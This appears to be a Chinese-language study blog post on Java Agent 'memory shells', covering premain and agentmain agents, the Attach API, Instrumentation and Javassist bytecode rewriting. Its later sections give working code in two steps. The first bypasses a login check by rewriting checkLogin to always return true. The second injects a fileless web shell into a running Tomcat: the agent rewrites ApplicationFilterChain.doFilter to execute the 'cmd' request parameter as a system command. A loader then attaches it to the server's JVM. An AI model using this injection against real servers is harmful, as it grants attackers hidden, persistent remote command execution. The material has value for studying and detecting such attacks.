Java Agent 内存马
2024-12-30 14:43:17

Java Agent 内存马学习记录

Java Agent使用

Java Agent:不影响正常编译的前提下,修改Java字节码,进而动态修改已加载或未加载的类、属性、方法的技术

应用:热部署、诊断工具

Java Agent的两种使用方式:

  • 通过-javaagent参数指定agent,从而在JVM启动之前修改class内容(自JDK1.5)
  • 通过VirtualMachine.attach方法,将agent附加在启动后的JVM进程中,进而动态修改class内容(自JDK1.6)

上述两种方法分别需要实现premainagentmain方法

方法的原型如下:

1
2
3
4
public static void agentmain(String agentArgs, Instrumentation inst);
public static void agentmain(String agentArgs);
public static void premain(String agentArgs, Instrumentation inst);
public static void premain(String agentArgs);

其中带有 Instrumentation inst 参数的方法优先级更高, 会优先被调用

打jar包

Java Agent程序必须打包成为jar格式

同时在jar包中需要提供一个MANIFEST.MF文件来配置Java Agent的相关参数

IDEA下的相关操作如下:

  • 项目结构中选定工件

image-20241219220511028

  • 在resources下会生成META-INF/MANIFEST.MF

在这里可以指定premain类和agentmain类(该文件中最后有一个空行)

1
2
3
4
5
6
Manifest-Version: 1.0
Premain-Class: com.example.memshell.premainDemo
Agent-Class: com.example.memshell.agentmainDemo
Can-Redefine-Classes: true
Can-Retransform-Classes: true

  • 构建指定工件

image-20241219221102192

premain

premain是在在JVM加载字节码之前调用

image-20241219220328556

premain项目

1
2
3
4
5
6
7
package com.example.memshell;
import java.lang.instrument.Instrumentation;
public class premainDemo {
public static void premain(String args, Instrumentation inst) throws Exception {
System.out.println("premainDemo");
}
}

另起一个java项目,在构建中记得添加JVM选项(不同于程序参数),添加-javaagent选项,指定premain的jar包的绝对路径

1
-javaagent:E:\Java_Sec\MemShell\out\artifacts\MemShell_jar\MemShell.jar

image-20241219221241714

运行程序可得

image-20241219221402670

agentmain

agentmain方法是在JVM启动后,将自定义进程附加到JVM的已知进程中

agentmain

我们需要手动导入一下com.sun.tools.attach.VirtualMachine这个类,位于jdk的lib目录下的tools.jar,但是这个jar包默认下不在JDK的classpath目录下

image-20241219222424102

所以,用porm.xml管理的方式进行手动添加,然后更新依赖

1
2
3
4
5
6
7
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>8</version>
<scope>system</scope>
<systemPath>D:/JDKInstall/JDK8/lib/tools.jar</systemPath>
</dependency>

如同上述部署jar包的方式,需要在META-INF/MANIFEST.MF中指明Agent-Class具体为哪个类

1
2
3
4
5
6
7
Manifest-Version: 1.0
Premain-Class: com.example.memshell.premainDemo
Agent-Class: com.example.memshell.agentmainDemo
Can-Redefine-Classes: true
Can-Retransform-Classes: true


agentmainDemo,实现agentmain即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.memshell;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.classfile.Field;

import java.io.File;
import java.lang.instrument.Instrumentation;

public class agentmainDemo {

public static void agentmain(String args, Instrumentation instrumentation) throws Exception{
System.out.println("This is agentmainDemo");
}

}

然后打成jar包

附加进程,使用jps -l查看JVM中的进程号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.example.memshell;

import com.sun.tools.attach.VirtualMachine;
import java.io.File;

public class agentDemo {

public static void main(String[] args) throws Exception{
// 附加的进程号
VirtualMachine vm = VirtualMachine.attach("31504");
// 指明刚才的打包路径
String agentpath = "E:\\Java_Sec\\MemShell\\out\\artifacts\\MemShell2_jar2\\MemShell.jar";
System.out.println(agentpath);
vm.loadAgent(agentpath); // 依据绝对路径加载agent
vm.detach();
System.out.println("attach ok");
}
}

附加成功

image-20241219223219163

当然,上述代码是直接硬编码PID。比较优雅的写法是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.example.memshell;


import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
import java.io.File;

public class agentDemo {

public static void main(String[] args) throws Exception{
List<VirtualMachineDescriptor> list = VirtualMachine.list();
String agentpath = "E:\\Java_Sec\\MemShell\\out\\artifacts\\MemShell2_jar2\\MemShell.jar";
for(VirtualMachineDescriptor descriptor : list){
String name = descriptor.displayName();
String pid = descriptor.id();

if(name.contains("com.example.memshell.agentDemo")){
VirtualMachine virtualMachine = VirtualMachine.attach(pid);
String path = new File(agentpath).getAbsolutePath();
virtualMachine.loadAgent(path);
virtualMachine.detach();
System.out.println("attach ok");
}
}
}

}

Instrumentation动态修改字节码

Instrumentation接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package java.lang.instrument;

import java.io.File;
import java.io.IOException;
import java.util.jar.JarFile;


public interface Instrumentation {

// transformer: 要注册的transformer
// canRetransform: 是否重新转换
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

void addTransformer(ClassFileTransformer transformer);

boolean removeTransformer(ClassFileTransformer transformer);

boolean isRetransformClassesSupported();

// 重载类
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

boolean isRedefineClassesSupported();

void redefineClasses(ClassDefinition... definitions) throws ClassNotFoundException, UnmodifiableClassException;

boolean isModifiableClass(Class<?> theClass);

@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

@SuppressWarnings("rawtypes")
Class[] getInitiatedClasses(ClassLoader loader);


long getObjectSize(Object objectToSize);

void appendToBootstrapClassLoaderSearch(JarFile jarfile);

void appendToSystemClassLoaderSearch(JarFile jarfile);

boolean isNativeMethodPrefixSupported();

void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix);
}

classpath

Classpath 是 Java 中用于指定 Java 虚拟机(JVM)和 Java 编译器(javac)查找类文件(.class 文件)和资源文件的路径。它是一个包含多个目录、JAR 文件、ZIP 文件的路径列表,JVM 通过这些路径来定位并加载运行 Java 程序所需的类文件和资源

当运行一个 Java 程序时,JVM 会根据指定的 classpath 路径查找类文件(.class 文件)。如果类文件在 classpath 路径中没有找到,JVM 会抛出 ClassNotFoundException

classpath 可以包含多个路径,路径之间用特定的符号分隔:

  1. 在类 Unix 系统(如 Linux、macOS)中,使用冒号(:)分隔路径。

  2. 在 Windows 系统中,使用分号(;)分隔路径。

设置方法:

  1. 命令行:java -cp path javaDemo,将从path路径下找到对应的资源文件

  2. 设置ClassPath环境变量

javassist

Javassist:用来处理Java字节码的类库,允许在已经编译好的类中添加新的方法,或者修改已有的方法,同时也可以通过手动的方式去生成一个新的类对象

导入依赖

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

ClassPool需要关注的方法:

  1. getDefault : 返回默认的ClassPool 是单例模式的,一般通过该方法创建我们的ClassPool;
  2. appendClassPath, insertClassPath : 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
  3. toClass : 将修改后的CtClass加载至当前线程的上下文类加载器中,CtClass的toClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class;
  4. get , getCtClass : 根据类路径名获取该类的CtClass对象,用于后续的编辑。

CtClass需要关注的方法:

  1. freeze : 冻结一个类,使其不可修改;
  2. isFrozen : 判断一个类是否已被冻结;
  3. prune : 删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用;
  4. defrost : 解冻一个类,使其可以被修改。如果事先知道一个类会被defrost, 则禁止调用 prune 方法;
  5. detach : 将该class从ClassPool中删除;
  6. writeFile : 根据CtClass生成 .class 文件;
  7. toClass : 通过类加载器加载该CtClass。

上面我们创建一个新的方法使用了CtMethod类。CtMthod代表类中的某个方法,可以通过CtClass提供的API获取或者CtNewMethod新建,通过CtMethod对象可以实现对方法的修改。
CtMethod中的一些重要方法:

  1. insertBefore : 在方法的起始位置插入代码;
  2. insterAfter : 在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到exception;
  3. insertAt : 在指定的位置插入代码;
  4. setBody : 将方法的内容设置为要写入的代码,当方法被 abstract修饰时,该修饰符被移除;
  5. make : 创建一个新的方法。

创建新类:

  • 使用makeClass在类池中创建新类
  • 添加属性、构造函数、方法
  • writeFile让.class文件落地

调用:

  • 添加classpath路径后通过反射调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
package com.example.memshell.agent;

import javassist.*;

import java.awt.*;
import java.lang.reflect.Method;

public class javassistDemo {


// 使用javassist创建对象
public static void Create1cfhClass() throws Exception{
// 获取类池
ClassPool pool = ClassPool.getDefault();

// 在类池中新建一个空类
CtClass newCls = pool.makeClass("Icfh");

// 新建字段
// 字段名为name
CtField newParam = new CtField(pool.get("java.lang.String"), "name", newCls);
// 访问级别为private
newParam.setModifiers(Modifier.PRIVATE);
// 初始值为"1cfh"
newCls.addField(newParam, CtField.Initializer.constant("1cfh"));

// 生成 getter、setter
newCls.addMethod(CtNewMethod.setter("setName",newParam));
newCls.addMethod(CtNewMethod.getter("getName",newParam));

// 添加无参构造函数
CtConstructor constructor = new CtConstructor(new CtClass[]{}, newCls);
constructor.setBody("{name=\"1c4h\";}");
newCls.addConstructor(constructor);

// 添加有参构造函数
constructor = new CtConstructor(new CtClass[]{
pool.get("java.lang.String")
}, newCls);
constructor.setBody("{$0.name = $1;}");
newCls.addConstructor(constructor);


// 创建无参方法
CtMethod ctMethod = new CtMethod(
CtClass.voidType, // 返回值类型
"printName", // 函数名
new CtClass[]{}, // 无参
newCls // 目标类
);
ctMethod.setModifiers(Modifier.PUBLIC); // 修改为public
ctMethod.setBody("{System.out.println(name);}");
newCls.addMethod(ctMethod);

// 创建有参方法
CtMethod ctMethod1 = new CtMethod(
CtClass.voidType,
"printMsg",
new CtClass[]{ // 参数类型为String
pool.get("java.lang.String")
},
newCls
);
ctMethod1.setModifiers(Modifier.PUBLIC);
// $0 => this
// $1 .. 参数
ctMethod1.setBody("{System.out.println(\"ths msg is: \"+$1);}");
newCls.addMethod(ctMethod1);


// 直接利用反射创建上述定义的类
Class<?> clazz = newCls.toClass();
Object obj = clazz.getDeclaredConstructor().newInstance();
// 反射demo1
clazz.getMethod("printMsg", String.class).invoke(obj,"JavaMaster");
clazz.getMethod("printName").invoke(obj, null);
// 反射demo2
Method printMsg = clazz.getDeclaredMethod("printMsg", String.class);
printMsg.invoke(obj,"Fuck");

// 将创建的类对象编译为class后缀的文件
newCls.writeFile("E:\\Java_Sec\\MemShell\\class");

}


// 演示使用
public static void useClass() throws Exception{
ClassPool pool = ClassPool.getDefault();
// 添加classpath类搜索路径
pool.appendClassPath("E:\\Java_Sec\\MemShell\\class");
// 然后从类池中获取类, 由于添加了classpath, 将会从该位置获取到类
CtClass ctClass = pool.get("Icfh");

Object obj = ctClass.toClass().newInstance();
Method setName = obj.getClass().getDeclaredMethod("setName",String.class);
setName.invoke(obj, "hacker");
Method getName = obj.getClass().getDeclaredMethod("getName");
System.out.println(getName.invoke(obj));


}


public static void main(String[] args) throws Exception{

//Create1cfhClass();
useClass();
}

}

利用agentmain注入修改字节码

总体思路:

  • agentmain注入
  • 在agentmain中调用Instrumentation的API添加拦截器,并重载
    • 拦截器中实现类修改

目标代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.example;

import java.util.Objects;

public class instrumentDemo {

public static String username = "1cfh";
public static String password = "1cfh_fake";

public static boolean checkLogin() {
return (username == "1cfh") && (password == "1cfh");
}


public static void main(String[] args) throws InterruptedException {
while (true){
if(checkLogin()){
System.out.println("login success: FLAG{hacker}");
}else {
System.out.println("login failed");
}
Thread.sleep(1000);
}

}
}

利用addTransformer添加Transformer

然后retransformClasses重载class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.example.memshell.agent;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.List;

public class instrumentDemo {

public static void agentmain(String args, Instrumentation instrumentation) throws Exception{
// 获取JVM中所有的类
for(Class clazz : instrumentation.getAllLoadedClasses()){
if(clazz.getName().equals("com.example.instrumentDemo")) {
// 添加transformer
instrumentation.addTransformer(new TransformerDemo(), true);
// 重载class
instrumentation.retransformClasses(clazz);
}
}
}

}

class TransformerDemo implements ClassFileTransformer{


@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
// transformer会拦截所有待加载的类, 所以先匹配指定类
if(className.equals("com/example/instrumentDemo")){
try { // com.example.instrumentDemo
// 声明类池
ClassPool classPool = ClassPool.getDefault();
// 从类池中获取指定类
CtClass ctClass = classPool.get("com.example.instrumentDemo");
// 获取方法
CtMethod method = ctClass.getDeclaredMethod("checkLogin");
// 重置方法
method.setBody("{System.out.println(\"hack\"); return true;}");
// 获取修改后的类的字节码然后返回
byte[] code = ctClass.toBytecode();
ctClass.detach();
return code;

} catch (NotFoundException | CannotCompileException | IOException e) {
throw new RuntimeException(e);
}

}else{
return classfileBuffer;
}

}
}

然后就是遍历JVM中的Java进程,匹配目标进程,加载agent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example.memshell.agent;


import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
import java.io.File;

public class agentDemo {

public static void main(String[] args) throws Exception{
List<VirtualMachineDescriptor> list = VirtualMachine.list();
String agentpath = "E:\\Java_Sec\\MemShell\\out\\artifacts\\AgentInstrument_jar\\MemShell.jar";
for(VirtualMachineDescriptor descriptor : list){
String name = descriptor.displayName();
String pid = descriptor.id();

if(name.equals("demo.jar")){
VirtualMachine virtualMachine = VirtualMachine.attach(pid);
String path = new File(agentpath).getAbsolutePath();
virtualMachine.loadAgent(path);
virtualMachine.detach();
System.out.println("attach ok");
break;
}
}
}

}

image-20241220132636323

Instrumentation的局限性

大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:
premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是private static/final修饰的
  5. 可以修改方法体

Agent内存马

既然可以利用Instrumentation来修改字节码,

注意之前在调试Filter时,我们看它的栈帧,在自定义的HelloFilter之前,是以链式调用各个Filter,所以我们直接打ApplicationFilterChain的doFilter即可注入🐎

image-20241218211953244

打agentmain的agent内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package com.example.memshell.agentShell;

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class AgentShellDemo {

public static void agentmain(String args, Instrumentation instrumentation) throws Exception{

Class[] classes = instrumentation.getAllLoadedClasses();
for(Class clazz : classes){
// 打ApplicationFilterChain的doFilter
if(clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
instrumentation.addTransformer(new FilterTransformer(), true);
instrumentation.retransformClasses(clazz);
}
}

}
}


class FilterTransformer implements ClassFileTransformer{

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
// 获得类池
ClassPool classPool = ClassPool.getDefault();

//
if(classBeingRedefined != null){
ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(classClassPath);
}

// 获取ApplicationFilter
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

// 获取doFilter
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

// 设置方法
// public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException
String codeBody = "{" +
"javax.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";
// ctMethod.insertBefore(codeBody);
ctMethod.setBody(codeBody);

// 返回字节码
return ctClass.toBytecode();

} catch (NotFoundException | CannotCompileException | IOException e) {
throw new RuntimeException(e);
}
}



}

加载agent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.memshell.agentShell;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.security.Principal;
import java.util.*;

public class AgentShellInjectionDemo {

public static void main(String[] args) throws Exception{
String path = "E:\\Java_Sec\\MemShell\\out\\artifacts\\AgentShell_jar\\MemShell.jar";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor virtualMachineDescriptor : list){
// System.out.println(virtualMachineDescriptor.displayName());
if(virtualMachineDescriptor.displayName().contains("org.apache.catalina.startup.Bootstrap")){
// 连接指定VM, 一个Java进程通常运行在一个独立的JVM里
VirtualMachine virtualMachine = VirtualMachine.attach(virtualMachineDescriptor.id());
virtualMachine.loadAgent(path);
virtualMachine.detach();
System.out.println("inject success");
}

}
}
}

参考

  1. https://exp10it.io/2023/01/java-agent-%E5%86%85%E5%AD%98%E9%A9%AC/#premain-%E6%96%B9%E5%BC%8F

  2. https://boogipop.com/2023/03/02/Agent%E5%86%85%E5%AD%98%E9%A9%AC%E5%89%96%E6%9E%90/#%E7%9F%AD%E5%B0%8F%E7%B2%BE%E6%82%8D%E7%9A%84Javassits%E5%90%8C%E5%AD%A6

Prev
2024-12-30 14:43:17
Next